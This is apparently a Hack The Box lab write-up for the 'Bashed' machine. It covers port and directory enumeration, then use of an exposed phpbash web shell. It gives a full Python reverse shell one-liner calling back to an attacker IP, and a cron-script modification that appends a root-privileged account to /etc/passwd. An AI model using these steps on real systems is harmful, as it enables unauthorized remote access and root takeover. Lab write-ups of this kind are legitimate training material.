Welcome to the Bashed writeup from HTB
I hope you enjoy reading it. Any feedback will be appreciated! @x4v1l0k


Bashed

tags: HTB Easy Linux OSCP
Platform: Hackthebox
Difficult: Easy
S.O.: Linux

Enumeration

Nmap

To get started, we run a quick open ports scan.

# nmap -p- -T4 10.10.10.68
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-14 00:34 CET
Nmap scan report for 10.10.10.68
Host is up (0.094s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 34.43 seconds

Now that we know the open ports, let's scan them in depth.

# nmap -A -Pn -p 80 10.10.10.68
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-14 00:35 CET
Nmap scan report for 10.10.10.68
Host is up (0.093s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Arrexel's Development Site
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.18 (95%), Linux 3.2 - 4.9 (95%), Linux 4.2 (95%), Linux 3.16 (95%), Linux 3.12 (95%), Linux 3.13 (95%), Linux 3.8 - 3.11 (95%), ASUS RT-N56U WAP (Linux 3.4) (95%), Linux 4.4 (95%), Linux 4.8 (94%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops

TRACEROUTE (using port 80/tcp)
HOP RTT      ADDRESS
1   92.84 ms 10.10.14.1
2   93.59 ms 10.10.10.68

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.03 seconds

In the website of port 80, we can read about a phpbash script.

Maybe it's somewhere on this server. Let's see what we find.

Gobuster

# gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.68/ -x php -t 200 2>/dev/null
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.68/
[+] Threads:        200
[+] Wordlist:       /usr/share/wordlists/dirb/big.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2021/03/14 00:44:57 Starting gobuster
===============================================================
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/config.php (Status: 200)
/css (Status: 301)
/dev (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/js (Status: 301)
/php (Status: 301)
/server-status (Status: 403)
/uploads (Status: 301)
===============================================================
2021/03/14 00:45:31 Finished
===============================================================

Inside the directory /uploads/ as we have seen in the image of the article, there is not the script phpbash.php but if we look closely, there is another directory called/dev/ which does contain the script!

Exploitation

By simply accessing the script, we have access to a web "terminal" from which we can execute commands as www-data

www-data@bashed:/var/www/html/dev# id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

To work with a fully interactive shell, we are going to run a reverse shell and upgrade it.
With a terminal listening, execute the reverse shell in phpbash.php.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.9",8787));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
# nc -lnvp 8787
listening on [any] 8787 ...
connect to [10.10.14.9] from (UNKNOWN) [10.10.10.68] 59504
www-data@bashed:/var/www/html/dev$ python3 -c "import pty; pty.spawn('/bin/bash')"
<ml/dev$ python3 -c "import pty; pty.spawn('/bin/bash')"
www-data@bashed:/var/www/html/dev$

Post exploitation

Enumeration

Sudo

www-data@bashed:/var/www/html/dev$ sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL

Privilege escalation 1

As we can read, being www-data we can execute any command asscriptmanager without password so it is enough to do the following

www-data@bashed:/var/www/html/dev$ sudo -u scriptmanager /bin/bash
scriptmanager@bashed:/var/www/html/dev$

Privilege escalation 2

Enumeration

Exploring the file system we can find the scripts path in the root path / and inside it, there are two files called test.py owed by scriptmanager and text.txt owned by root.

Looking at the source code of test.py which we can modify at will, we verify that the script is writing testing 123! Inside test.txt and since the file test.txt is owned by roor, We can assume that there is a scheduled task running by root by executing test.py periodically.

f = open("test.txt", "w")
f.write("testing 123!")
f.close

Exploitation

Well, we are going to modify the script so that it injects us a user with root privileges inside the file /etc/passwd. But, we have to be careful that it only enters it once so we have to add a condition that checks if it already exists to prevent it from injecting it again.

passwd = open('/etc/passwd', 'r').readlines()
output = open('/etc/passwd', 'a')
if not any('x4v1l0k' in s for s in passwd):
    output.write('x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash')
    output.close()
scriptmanager@bashed:/scripts$ echo "passwd = open('/etc/passwd', 'r').readlines()" > test.py
scriptmanager@bashed:/scripts$ echo "output = open('/etc/passwd', 'a')" >> test.py
scriptmanager@bashed:/scripts$ echo "if not any('x4v1l0k' in s for s in passwd):" >> test.py
scriptmanager@bashed:/scripts$ echo -e "\toutput.write('x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash')" >> test.py
scriptmanager@bashed:/scripts$ echo -e "\toutput.close()" >> test.py

Okay, now we only have to check if it has been injected.

scriptmanager@bashed:/scripts$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
arrexel:x:1000:1000:arrexel,,,:/home/arrexel:/bin/bash
scriptmanager:x:1001:1001:,,,:/home/scriptmanager:/bin/bash
x4v1l0k:x4sRFbMkq2HHM:0:0:root:/root:/bin/bash

And considering that yes, authenticate with the injected user and capture the user flag and root flag!

scriptmanager@bashed:/scripts$ su x4v1l0k
Password:
root@bashed:/scripts# cd /home/arrexel
root@bashed:/home/arrexel# ls
user.txt
root@bashed:/home/arrexel# cat user.txt
CENSORED_FLAG
root@bashed:/scripts# cat /root/root.txt
CENSORED_FLAG
root@bashed:/scripts#